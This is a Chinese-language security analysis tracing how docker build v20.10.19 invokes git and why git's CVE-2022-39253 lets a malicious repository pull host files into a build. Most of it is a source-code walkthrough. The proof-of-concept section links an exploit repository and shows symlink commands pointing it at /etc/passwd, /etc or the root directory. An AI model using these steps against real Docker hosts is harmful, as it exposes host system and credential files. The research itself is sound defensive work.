该漏洞归属于git，关于git部分的分析，详见公众号文章“Git CVE-2022-39253 漏洞分析与复现”的“漏洞分析章节”。

下文走读docker v20.10.19分支下的代码，分析docker是如何调用git相关特性的。

1. 原始特性分析

docker build 支持通过git仓库构建镜像，如果git仓库内嵌了子模块，还会递归获取子模块代码。

下面我构造一个环境验证一下docker build的递归获取git子模块的功能。

root@ubuntu:~# cd /tmp
root@ubuntu:/tmp# git init repo
root@ubuntu:/tmp# git init sub
root@ubuntu:/tmp# cd sub
root@ubuntu:/tmp/sub# touch SUB-MODULE-PULLED
root@ubuntu:/tmp/sub# git add . && git commit -m init
root@ubuntu:/tmp/sub# cd /tmp/repo
root@ubuntu:/tmp/repo# git submodule add /tmp/sub
root@ubuntu:/tmp/repo# cat << EOF > Dockerfile
FROM busybox
COPY . /
RUN ls -lah /
RUN ls -lah /sub
EOF
root@ubuntu:/tmp/repo# git add . && git commit -m init
root@ubuntu:/tmp/repo# git update-server-info
root@ubuntu:/tmp/repo# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

执行docker build， 可见sub子模块自动被拉取。

root@ubuntu:~# docker build http://127.0.0.1:8000/.git
Sending build context to Docker daemon  127.5kB
Step 1/4 : FROM busybox
 ---> 66ba00ad3de8
Step 2/4 : COPY . /
 ---> 846236f9f6d0
Step 3/4 : RUN ls -lah /
 ---> Running in 941ba6d1b8b1
total 64K
drwxr-xr-x       1 root        root        4.0K Jan 11 11:49 .
drwxr-xr-x       1 root        root        4.0K Jan 11 11:49 ..
-rwxr-xr-x        1 root        root           0 Jan 11 11:49 .dockerenv
drwxr-xr-x       9 root        root        4.0K Jan 11 11:49 .git
-rw-r--r--          1 root        root          46 Jan 11 11:49 .gitmodules
-rw-r--r--          1 root        root          54 Jan 11 11:49 Dockerfile
drwxr-xr-x        2 root        root       12.0K Jan  3 22:44 bin
drwxr-xr-x        5 root         root         340 Jan 11 11:49 dev
drwxr-xr-x        1 root         root        4.0K Jan 11 11:49 etc
drwxr-xr-x        2 nobody   nobody      4.0K Jan  3 22:44 home
drwxr-xr-x        2 root        root        4.0K Jan  3 22:44 lib
lrwxrwxrwx      1 root         root           3 Jan  3 22:44 lib64 -> lib
dr-xr-xr-x         183 root     root           0 Jan 11 11:49 proc
drwx------         2 root        root        4.0K Jan  3 22:44 root
drwxr-xr-x        2 root        root        4.0K Jan 11 11:49 sub
dr-xr-xr-x         13 root       root           0 Jan 11 11:49 sys
drwxrwxrwt      2 root        root        4.0K Jan  3 22:44 tmp
drwxr-xr-x        4 root        root        4.0K Jan  3 22:44 usr
drwxr-xr-x        4 root        root        4.0K Jan  3 22:44 var
Removing intermediate container 941ba6d1b8b1
 ---> 2a6f775fb86e
Step 4/4 : RUN ls -lah /sub
 ---> Running in 2da23649b92e
total 12K
drwxr-xr-x    2 root     root          4.0K Jan 11 11:49 .
drwxr-xr-x    1 root     root          4.0K Jan 11 11:49 ..
-rw-r--r--       1 root     root          28 Jan 11 11:49 .git
-rw-r--r--       1 root     root           0 Jan 11 11:49 SUB-MODULE-PULLED
Removing intermediate container 2da23649b92e
 ---> 658a8c16d5d4
Successfully built 658a8c16d5d4

2. 调用链分析

执行docker build命令从docker cli开始。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L112

func NewBuildCommand(dockerCli command.Cli) *cobra.Command {
    ...
    cmd := &cobra.Command{
        ...
        RunE: func(cmd *cobra.Command, args []string) error {
            options.context = args[0]
            return runBuild(dockerCli, options)
        },
    }
    ...
}

docker build支持buildkit功能，要分开来分析。因为buildkit功能相对更复杂，下文将先分析未开启buildkit的情况，再分析buildkit。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L209

func runBuild(dockerCli command.Cli, options buildOptions) error {
    buildkitEnabled, err := command.BuildKitEnabled(dockerCli.ServerInfo())
    ...
    if buildkitEnabled {
        return runBuildBuildKit(dockerCli, options)
    }
    ...
}

cli在请求engine build之前，要负责将context，dockerfile收集好，传递给engine。

支持4种场景：

1. stdin

2. 本地目录

3. git

4. url

其中git场景，会从git仓库下载代码到临时目录。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L258-L278

func runBuild(dockerCli command.Cli, options buildOptions) error {
    ...
    specifiedContext := options.context
    ...
    switch {
    case options.contextFromStdin():
        // buildCtx is tar archive. if stdin was dockerfile then it is wrapped
        buildCtx, relDockerfile, err = build.GetContextFromReader(dockerCli.In(), options.dockerfileName)
    case isLocalDir(specifiedContext):
        contextDir, relDockerfile, err = build.GetContextFromLocalDir(specifiedContext, options.dockerfileName)
        ...
    case urlutil.IsGitURL(specifiedContext):
        tempDir, relDockerfile, err = build.GetContextFromGitURL(specifiedContext, options.dockerfileName)
    case urlutil.IsURL(specifiedContext):
        buildCtx, relDockerfile, err = build.GetContextFromURL(progBuff, specifiedContext, options.dockerfileName)
    default:
        ...
    }
    ...
}

IsGitURL函数判断url是否为有效的git地址。

注意：这里cli调用了docker engine的代码，但流程仍在cli部分处理。此类代码，因为被vendor到了cli仓库，所以我们直接在cli仓库内分析。
但实际上，相关代码的维护是先在docker engine修改，再vendor到cli仓库的。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/pkg/urlutil/urlutil.go#L33

var (
    validPrefixes = map[string][]string{
        "url": {"http://", "https://"},
        "git":       {"git://", "github.com/", "git@"},
        ...
    }
    urlPathWithFragmentSuffix = regexp.MustCompile(".git(?:#.+)?$")
)
func IsURL(str string) bool {
    return checkURL(str, "url")
}
func IsGitURL(str string) bool {
    if IsURL(str) && urlPathWithFragmentSuffix.MatchString(str) {
        return true
    }
    return checkURL(str, "git")
}
func checkURL(str, kind string) bool {
    for _, prefix := range validPrefixes[kind] {
        if strings.HasPrefix(str, prefix) {
            return true
        }
    }
    return false
}

GetContextFromGitURL函数调用git.Clone下载代码。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build/context.go#L198

import(
    ...
    "github.com/docker/docker/builder/remotecontext/git"
    ...
)
func GetContextFromGitURL(gitURL, dockerfileName string) (string, string, error) {
    ...
    absContextDir, err := git.Clone(gitURL)
    ...
}

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L24

func Clone(remoteURL string) (string, error) {
    repo, err := parseRemoteURL(remoteURL)
    if err != nil {
        return "", err
    }
    return cloneGitRepo(repo)
}

从url字符串中解析

• git仓库地址

• ref: git分支或tag

• subdir: git仓库的子目录

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L77

func parseRemoteURL(remoteURL string) (gitRepo, error) {
    repo := gitRepo{}
    ...
    if strings.HasPrefix(remoteURL, "git@") {
        ...
    } else {
        u, err := url.Parse(remoteURL)
        if err != nil {
            return repo, err
        }
        repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
        u.Fragment = ""
        repo.remote = u.String()
    }
    ...
    return repo, nil
}

cloneGitRepo函数调用系统中的git命令，下面逐步走读该函数。

下载代码前，准备git的工作目录。

• 创建临时目录，形如/tmp/docker-build-git210804187，下面都用该路径代指临时目录

• 初始化git工作目录，执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git init

• 添加远程版本库, 执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git remote add origin <address>

做好这些准备工作，下一步就可以拉取代码了。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L37-L57

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
    ...
    root, err := ioutil.TempDir("", "docker-build-git")
    if err != nil {
        return "", err
    }
    defer func() {
        if err != nil {
            os.RemoveAll(root)
        }
    }()
    if out, err := gitWithinDir(root, "init"); err != nil {
        ...
    }
    if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
        ...
    }
    ...
}
func gitWithinDir(dir string, args ...string) ([]byte, error) {
    a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
    return git(append(a, args...)...)
}
func git(args ...string) ([]byte, error) {
    return exec.Command("git", args...).CombinedOutput()
}

执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git fetch [--depth 1] origin -- <ref>，fetch代码。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L58

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
    fetch := fetchArgs(repo.remote, repo.ref)
    ...
    if output, err := gitWithinDir(root, fetch...); err != nil {
        return "", errors.Wrapf(err, "error fetching: %s", output)
    }
    ...
}

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L124

func fetchArgs(remoteURL string, ref string) []string {
    args := []string{"fetch"}
    if supportsShallowClone(remoteURL) {
        args = append(args, "--depth", "1")
    }
    return append(args, "origin", "--", ref)
}

checkout 到特定分支，如果有指定子目录，将工作目录切换至该子目录。

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L62

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
    ...
    checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
    if err != nil {
        return "", err
    }
    ...
}

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L166

func checkoutGit(root, ref, subdir string) (string, error) {
    if output, err := gitWithinDir(root, "checkout", ref); err != nil {
        if _, err2 := gitWithinDir(root, "checkout", "FETCH_HEAD"); err2 != nil {
            return ...
        }
    }
    if subdir != "" {
        newCtx, err := symlink.FollowSymlinkInScope(filepath.Join(root, subdir), root)
        if err != nil {
            return ...
        }
        fi, err := os.Stat(newCtx)
        if err != nil {
            return "", err
        }
        if !fi.IsDir() {
            return ...
        }
        root = newCtx
    }
    return root, nil
}

递归下载子模块，执行git submodule update --init --recursive --depth=1

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
    ...
    cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
    cmd.Dir = root
    output, err := cmd.CombinedOutput()
    if err != nil {
        return "", errors.Wrapf(err, "error initializing submodules: %s", output)
    }
    return checkoutDir, nil
}

未启用buildkit的场景分析完毕，确认其通过调用git执行一系列命令。

对开启了buildkit的git场景，cli几乎不作处理，直接把git地址透传至engine。

2.2.1 cli

判断build场景，如果是git地址，直接传递至engine。

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build_buildkit.go#L47

func runBuildBuildKit(dockerCli command.Cli, options buildOptions) error {
    ...
    switch {
    case options.contextFromStdin():
        ...
    case isLocalDir(options.context):
        ...
    case urlutil.IsGitURL(options.context):
        remote = options.context
    case urlutil.IsURL(options.context):
        ...
    default:
        return ...
    }
    ...
    eg.Go(func() error {
        ...
        buildOptions.RemoteContext = remote
        ...
        return doBuild(ctx, eg, dockerCli, stdoutUsed, options, buildOptions, dockerAuthProvider)
    })
    return eg.Wait()
}

https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build_buildkit.go#L254

func doBuild(ctx context.Context, eg *errgroup.Group, dockerCli command.Cli, stdoutUsed bool, options buildOptions, buildOptions types.ImageBuildOptions, at session.Attachable) (finalErr error) {
    ...
    response, err := dockerCli.Client().ImageBuild(context.Background(), nil, buildOptions)
    ...
}

https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/client/image_build.go#L35

func (cli *Client) ImageBuild(ctx context.Context, buildContext io.Reader, options types.ImageBuildOptions) (types.ImageBuildResponse, error) {
    query, err := cli.imageBuildOptionsToQuery(options)
    ...
    serverResp, err := cli.postRaw(ctx, "/build", query, buildContext, headers)
    ...
}

2.2.2 engine

buildkit代码的调用链过于复杂，我跳过前置部分，直接来到调用git的地方。前置部分有机会再补充。

执行 git ls-remote，确认远端仓库是否存在ref

https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L349

func (gs *gitSourceHandler) CacheKey(ctx context.Context, g session.Group, index int) (string, solver.CacheOpts, bool, error) {
    ...
    buf, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, "ls-remote", "origin", ref)
    ...
}

初始化工作目录。

https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L128-L139

func (gs *gitSource) mountRemote(ctx context.Context, remote string, auth []string, g session.Group) (target string, release func(), retErr error) {
    ...
    if initializeRepo {
        if _, err := gitWithinDir(ctx, dir, "", "", "", auth, "init", "--bare"); err != nil {
            return ...
        }
        if _, err := gitWithinDir(ctx, dir, "", "", "", auth, "remote", "add", "origin", remote); err != nil {
            return ...
        }
        ...
    }
    ...
}

依次执行以下命令

• git cat-file

• git fetch

• git init

• git remote add origin

• git update ref

• git fetch

• git checkout

• git submodule

https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L368

func (gs *gitSourceHandler) Snapshot(ctx context.Context, g session.Group) (out cache.ImmutableRef, retErr error) {
    ...
    doFetch := true
    if isCommitSHA(ref) {
        // skip fetch if commit already exists
        if _, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, nil, "cat-file", "-e", ref+"^{commit}"); err == nil {
            doFetch = false
        }
    }
    ...
    if doFetch {
        os.RemoveAll(filepath.Join(gitDir, "shallow.lock"))
        args := []string{"fetch"}
        if !isCommitSHA(ref) { // TODO: find a branch from ls-remote?
            args = append(args, "--depth=1", "--no-tags")
        } else {
            if _, err := os.Lstat(filepath.Join(gitDir, "shallow")); err == nil {
                args = append(args, "--unshallow")
            }
        }
        args = append(args, "origin")
        if !isCommitSHA(ref) {
            args = append(args, "--force", ref+":tags/"+ref)
        }
        if _, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, args...); err != nil {
            return ...
        }
    }
    ...
    if gs.src.KeepGitDir {
        checkoutDirGit := filepath.Join(checkoutDir, ".git")
        if err := os.MkdirAll(checkoutDir, 0711); err != nil {
            return nil, err
        }
        _, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, nil, "init")
        if err != nil {
            return nil, err
        }
        _, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, nil, "remote", "add", "origin", gitDir)
        if err != nil {
            return nil, err
        }
        pullref := ref
        if isCommitSHA(ref) {
            pullref = "refs/buildkit/" + identity.NewID()
            _, err = gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, "update-ref", pullref, ref)
            if err != nil {
                return nil, err
            }
        } else {
            pullref += ":" + pullref
        }
        _, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, gs.auth, "fetch", "-u", "--depth=1", "origin", pullref)
        if err != nil {
            return nil, err
        }
        _, err = gitWithinDir(ctx, checkoutDirGit, checkoutDir, sock, knownHosts, nil, "checkout", "FETCH_HEAD")
        if err != nil {
            return nil, errors.Wrapf(err, "failed to checkout remote %s", gs.src.Remote)
        }
        gitDir = checkoutDirGit
    } else {
        _, err = gitWithinDir(ctx, gitDir, checkoutDir, sock, knownHosts, nil, "checkout", ref, "--", ".")
        if err != nil {
            return nil, errors.Wrapf(err, "failed to checkout remote %s", gs.src.Remote)
        }
    }
    _, err = gitWithinDir(ctx, gitDir, checkoutDir, sock, knownHosts, gs.auth, "submodule", "update", "--init", "--recursive", "--depth=1")
    ...
}

基本上与非buildkit是一致的，最后会执行git submodule命令来递归下载子模块。

区别在于buildkit场景需要满足 gs.src.KeepGitDir，才会保留git目录。即，需要设置BUILDKIT_CONTEXT_KEEP_GIT_DIR=true。这可能会影响漏洞利用。

3. 漏洞分析

根据上文的分析，docker build时处理git地址，几乎都是直接调用的git命令。在涉及submodule时，也默认递归下载。

因此，docker build受git的漏洞CVE-2022-39253影响。

如果使用buildkit，因为buildkit默认不保留git目录，而漏洞利用需要把主机文件复制到git目录。所以需要配置BUILDKIT_CONTEXT_KEEP_GIT_DIR=true，builtkit才受影响。

4. poc构造

poc https://github.com/ssst0n3/docker-cve-2022-39253-poc.git

构造过程详见Git CVE-2022-39253 漏洞分析与复现的“漏洞复现”章节。

如果需要改造，可以fork该项目，将evil2/git/objects/host文件指向其他路径。

ln -s /etc/passwd evil2/git/objects/host

ln -s /etc evil2/git/objects/host

甚至可以直接指向根目录。

漏洞挖掘方法分析：

1. 目标：docker

2. 分析docker所调用的外部命令，其中一个为git

3. 走读docker源码，获得所有执行的git命令列表

4. 调用git命令的场景为docker build

5. 分析docker build的风险，将目标聚焦在调用git时可能触发的漏洞

6. 考虑git的命令注入，或任意文件读取

7. 在分析到任意文件读取时，很自然想到软链接

8. 阅读git相关代码，分析涉及处理软链接的相关函数

其他思考：

1. 为漏洞产生点不在docker，因此难以挖掘，但可以形成安全模型，由于篇幅关系，另起一篇文章研究。

2. 该漏洞是git的漏洞，但影响了下游软件。

3. 该漏洞归属于git，下游软件可能没有分配CVE编号，因此可能不受业界重视。

4. 鉴于业界对此漏洞的关注度不足，渗透测试可以重点验证下游软件、云服务的利用情况。

[1]https://github.com/moby/moby

[2]https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25

[3]https://github.com/ssst0n3/docker-cve-2022-39253-poc

[4]https://github.com/moby/moby/pull/44325

[5]https://github.com/moby/buildkit/commit/c014937225cba29cfb1d5161fd134316c0e9bdaa

[6]https://github.com/moby/moby/commit/c9ae66ffe375156ddf39cb41664224d6e1a6f096